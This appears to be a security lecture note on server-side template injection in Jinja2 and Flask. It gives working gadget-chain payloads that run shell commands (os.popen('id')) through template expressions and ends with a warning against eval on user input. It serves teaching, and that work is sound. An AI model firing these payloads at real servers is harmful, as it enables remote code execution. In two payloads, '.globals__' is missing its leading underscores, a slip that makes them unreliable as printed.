# Server-Side Template Injection (SSTI)

## Lecture <a href="#what-is-server-side-template-injection" id="what-is-server-side-template-injection"></a>

{% embed url="<https://youtu.be/SN6EVIG4c-0>" %}
Server-Side Template Injection Explained - PwnFunction
{% endembed %}

## Summary <a href="#what-is-server-side-template-injection" id="what-is-server-side-template-injection"></a>

If Jinja2 evaluates `{{7*7}}` to 49 or 7777777, then it is vulnerable to SSTI. The naive idea is to inject `{{ import os ; os.system('id') }}`, but import is filtered by Jinja2. Remember that **everything in Python is an object**, hence we can reach the same goal utilizing a chain of gadgets. For example:

```python
{{''.__class__.__base__.__subclasses__()[139].__init__.globals__['sys'].modules['os'].popen('id').read()}}
```

Here `''.__class__.__base__.__subclasses__()[139]` refers to the class `<class 'warnings.catch_warnings'>`. The index 139 may vary on different machines so you need to figure it out. Use the following code to print out a lookup table and look for `<class 'warnings.catch_warnings'>`:

```python
for index, item in enumerate(''.__class__.__base__.__subclasses__()):
    print(index, item)
```

We choose this class since it imports `sys`. This fact can be verified by viewing [CPython source code](https://github.com/python/cpython/blob/main/Lib/warnings.py):

![warnings.py](https://3988450783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVjG_njKgBtvmnKaJh%2Fuploads%2FIvdstGYeMqOBzZ784n1B%2Fimage.png?alt=media\&token=2af12b80-c48b-48d0-a39c-2d477ca2babc)

For me, the index is 139, therefore the final payload is:

```python
{{
    ''.__class__
    .__base__
    .__subclasses__()[139]
    .__init__
    .globals__['sys']
    .modules['os']
    .popen('id')
    .read()
}}
```

For Flask, there is a shortcut. Check out the source code of `flask.url_for()`:

![flask.url\_for()](https://3988450783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVjG_njKgBtvmnKaJh%2Fuploads%2FtyYpze5fwsWu5U3f66jS%2Fimage.png?alt=media\&token=a8f7ffcf-0835-4fce-b125-39194720d317)

Note that this file imports `os`, hence the payload is:

```python
{{
    url_for
    .__globals__
    .os
    .popen('id')
    .read()
}}
```

{% hint style="danger" %}
**Takeaway:** Never do `eval(code + input)`.
{% endhint %}
